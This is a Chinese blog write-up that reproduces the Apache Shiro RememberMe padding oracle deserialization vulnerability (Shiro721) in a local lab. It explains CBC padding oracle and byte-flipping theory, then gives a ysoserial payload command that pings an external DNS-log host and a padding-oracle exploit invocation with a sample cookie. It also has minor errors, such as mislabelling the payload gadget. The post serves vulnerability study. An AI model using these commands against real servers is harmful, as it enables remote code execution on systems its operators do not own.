Ywc's blog

深入理解Shiro721(Apache Shiro RememberMe Padding Oracle 漏洞)

Word count: 1.8kReading time: 7 min
2021/06/16

基础知识

漏洞原理

Apache Shiro RememberMe Cookie默认通过AES-128-CBC模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.

  • AES 是指 “高级加密标准”,是一种对称加密的分组加密算法,128是指密钥长度,CBC是指 “密码分组链接” 加密模式 , PKCS5Padding 是 Apache Shiro 中默认填充方式 , 最后一个明文分组缺少 N 个字节,则填充N个0x0N。
  • 在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式,CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文。
  • Padding Oracle Attack 利用前提 :
    1、攻击者能够获得密文( CipherText )与附带在密文前面的初始化向量( IV )
    2、服务端对密文解密后会判断 Padding 是否有效 . 并根据不同的判定结果返回不同的响应信息。
  • CBC Byte-Flipping Attack 利用前提 :
    1、明文和密文已知

漏洞复现步骤

1、登录网站并且获取 RememberMe Cookie 值
2、使用 RememberMe Cookie 值来作为 Padding Oracle Attack 的前缀
3、通过 Padding Oracle Attack 的攻击方式精心构造可利用的 YSoSerial 反序列化数据
4、将构造好的反序列化数据填充到 RememberMe Cookie 字段中并发送 , 即可在目标服务器上执行任意代码.

密码学知识

AES算法

Apache Shiro 中使用的AES(高级加密标准)加密算法,就是一种对称加密的分组加密算法。

加解密密钥的长度:一般为128 bits , 即 16 Bytes

分组加密的加密模式:CBC加密模式

加密模式对应的填充方式:Padding填充机制

密码学体制介绍

1、按照密钥特征的不同划分,密码体制可以分为两类 : “对称加密” 和 “非对称加密”

对称加密 : 加密 , 解密过程使用的密钥相同(AES、DES等)
非对称加密 : 加密 , 解密过程使用不同的密钥(RSA、DSA)

2、按照加密方式的不同,密码体制可以分为两类:”分组密码( 块密码 )” 和 “流密码( 序列密码 )”

  • 分组密码( 块密码 ) : 当加密明文时 , 会先将明文编码表示为二进制序列( 明文流 ) , 然后将其分为若干个固定长度的组 , 最后分别对每个组进行加密 , 生成密文流.

    • 分组加密算法中有 5 种可选的加密变换方式( 加密模式 )

      1
      2
      3
      4
      5
      ECS ( Electronic Codebook Book , 电话本模式 )
      CBC ( Cipher Block Chaining , 密码分组链接模式 )
      CTR ( Counter , 计算器模式 )
      CFB ( Cipher FeedBack , 密码反馈模式 )
      OFB ( Output FeedBack , 输出反馈模式 )
  • 流密码( 序列密码 ) : 当加密明文时 , 会先将明文编码表示为二进制序列( 明文流 ) , 然后由种子密钥生成一个密钥流 , 最后利用加密算法把明文流和密钥流加密,生成密文流.

CBC加密模式

将明文切分成若干小段,然后每一段分别与上一段的密文进行异或运算,再与密钥进行加密,生成本段明文的密文,这段密文用于下一段明文的加密。

第一段明文没有对应的密文,为了确保分组的唯一性,CBC 加密模式使用了初始化向量(IV , Initialization Vector)。初始化向量是一个固定长度的随机数,该向量会作为密文第一个块,随密文一同传输。

在 CBC 模式中,初始化向量(IV)的长度与分组大小相同,为 16 Bytes(128 bits),因为链接模式中的异或操作是等长操作。

Padding 填充机制

Padding填充机制是加密模式下的填充方式,分组加密时,会把明文切割成多个分组,”Padding” 用于在最后一个分组的结尾填充一些额外的 bits , 使分组成为标准的 16 Bytes

CBC 加密模式下可用的Padding方式有 3 个 :

  • 1、AES/CBC/NoPadding : 明文长度必须是 8 Bytes 的倍数 , 否则会报错 .
  • 2、AES/CBC/PKCS5Padding : 以完整字节填充 , 每个填充字节的值是用于填充的字节数 . 即要填充 N 个字节 , 每个字节都为 N.
    举例 : 使用 PKCS5Padding 方式填充 3 个字节 : | AA BB CC DD EE 03 03 03 |
  • 3、AES/CBC/ISO10126Padding : 以随机字节填充 , 最后一个字节为填充字节的个数 .
    举例 : 使用 ISO10126Padding 方式填充 5 个字节 : | AA BB CC A9 3B 78 04 05 |

在 Apache Shiro中,使用的是PKCS5Padding方式。

Padding Oracle Attack( 填充 Oracle 攻击 )

Padding Oracle Attack是一种针对CBC模式分组加密算法的攻击。它可以在不知道密钥(key)的情况下,通过对padding bytes的尝试,还原明文,或者构造出任意明文的密文。

之前的文章:Padding Oracle Attack

这里的 Oracle 与甲骨文公司没有任何关系。Padding Oracle Attack 也不是针对某一种分组加密算法的攻击,而是针对 CBC加密模式的。

密码学中的 Oracle 是一种通过接收特定加密数据,解密并验证填充是否正确的方式。

CBC Byte-Flipping Attack (CBC字节翻转攻击)

通过Padding Oracle Attack可以在不知道密钥(key)的情况下,获取全部明文的值。
通过CBC Byte-Flipping Attack(CBC字节翻转攻击) 可以实现对明文的篡改。

CBC字节翻转攻击的原理 : 通过损坏密文字节来改变明文字节 。

环境搭建

复现环境: JDK1.8 + Tomcat8 + Shiro-1.4.1 .
首先从 Github 上下载一份 Shrio 源码 , 并切换到存在漏洞的分支( 1.4.1 )

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1

启动IDEA,配置tomcat(别用最新的版本的tomcat,容易出错)
并设置 samples-web:war 作为 Artifacts
然后启动tomcat

shiro721漏洞复现

漏洞复现

1、首先通过 YSoSerial 生成可利用的 Payload . 由于之前配置 pom.xml 时没有添加任何组件 , 所以使用 URLDNS Payload 来探测漏洞是否存在

1
java -jar ysoserial.jar CommonsBeanutils1 "ping milon0.ceye.io" > payload.class

2、获取一个有效的Remember Cookie

[shiro721漏洞复现

[shiro721漏洞复现

此处注意删除JSESSIONID,否则后续无法利用

3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
注意:此exp爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

1
2
3
python shiro_exp.py
Usage: shiro_exp.py <url> <somecookie value> <payload>
python shiro_exp.py http://localhost:8080/samples_web_war/home.jsp xSEnrD1VPnQ49Tke8d9s7yXyBdKmcZTvF5KZ+8trI5/CQNSwsTJPlfBIEWj4ewouARb8LY4n1BQClrG6+Y5NsyyRhJwjbMKP9DenW7Dd78k9xeWfQZStuyyVsPG3Yq+fAgisJZ706Nzl0Sc2BsoA4COM2Frj5H4Tu3XQr3yer4lQawGdQPT8UCj4XqzuU9xgmmAWzlfEBe0f217/rhFF0dtLogcX7Jw1E0Q5xnoiiEf1Q76ynr/wKb74FqS0UfCHj67lE7yYYd1cjRw4IuM2c/JGppP5rMbuq7Nb5D/UrkMv/Cqv777YbQx90QjGw50v13NPjfoki6lgqwaI+woUh4thZQM6mHHTvE+A2S/a1sNJhYodne/9BQx5iONqjICnGRC5om9IG9XAm+lJ6ED6P1xxSqFNiXWh7JqCFk7YeEwpZoqLYR8EYq+uxqyOwsagOQSYnHVIzNkIcuNcvjBkDtRf37+T/0n0yz/8I3gYL+sV4eOh5ITXpKHTKdprKof4 payload.class

4、使用Evil Rememberme cookie 认证进行反序列化攻击,即可在dnslog平台获取记录。

Reference

[CVE-2019-12422 Shiro721 分析 上 ]

CATALOG
  1. 1. 基础知识
    1. 1.1. 漏洞原理
    2. 1.2. 漏洞复现步骤
    3. 1.3. 密码学知识
      1. 1.3.1. AES算法
      2. 1.3.2. 密码学体制介绍
      3. 1.3.3. CBC加密模式
      4. 1.3.4. Padding 填充机制
      5. 1.3.5. Padding Oracle Attack( 填充 Oracle 攻击 )
      6. 1.3.6. CBC Byte-Flipping Attack (CBC字节翻转攻击)
  2. 2. 环境搭建
  3. 3. 漏洞复现
  4. 4. Reference